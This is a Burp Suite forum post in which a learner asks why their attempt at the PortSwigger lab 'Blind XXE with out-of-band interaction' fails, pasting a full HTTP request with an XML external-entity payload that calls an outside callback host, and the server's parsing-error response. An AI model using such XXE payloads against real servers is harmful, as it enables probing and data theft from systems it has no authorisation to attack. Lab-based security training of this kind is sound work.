Research Academy
My account Customers About Blog Careers Legal Contact Resellers
The Burp Suite User Forum was discontinued on the 1st November 2024.

Burp Suite User Forum

For support requests, go to the Support Center. To discuss with other Burp users, head to our Discord page.

SUPPORT CENTER DISCORD

Lab: Blind XXE with out-of-band interaction,

Rizwan | Last updated: Aug 19, 2020 11:20AM UTC

Link: https://portswigger.net/web-security/xxe/blind/lab-xxe-with-out-of-band-interaction I am trying to complete this lab and I an unsure what I am doing wrong. Any help would be greatly appreciated. I have tried may variants of the syntax, but basically, the HTTP request is below: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ POST /product/stock HTTP/1.1 Host: ac441fdb1faf8329807711d7005c009e.web-security-academy.net User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://ac441fdb1faf8329807711d7005c009e.web-security-academy.net/product?productId=1 Content-Type: application/xml Origin: https://ac441fdb1faf8329807711d7005c009e.web-security-academy.net Content-Length: 212 Connection: close Cookie: session=gECgv9VPjMFJDaNZHa5WIvr4DqAqaqZG <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE stockCheck [ <!ENTITY xxe SYSTEM "https://postb.in/1597834695210-9376124872360"> ]> <stockCheck><productId>&xxe;</productId><storeId>2</storeId></stockCheck> Then I get the following response in Burp Suite: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ HTTP/1.1 400 Bad Request Content-Type: application/json; charset=utf-8 Connection: close Content-Length: 15 "Parsing error" I got same response when i used ngrok also. Thank you

Ben, PortSwigger Agent | Last updated: Aug 20, 2020 09:11AM UTC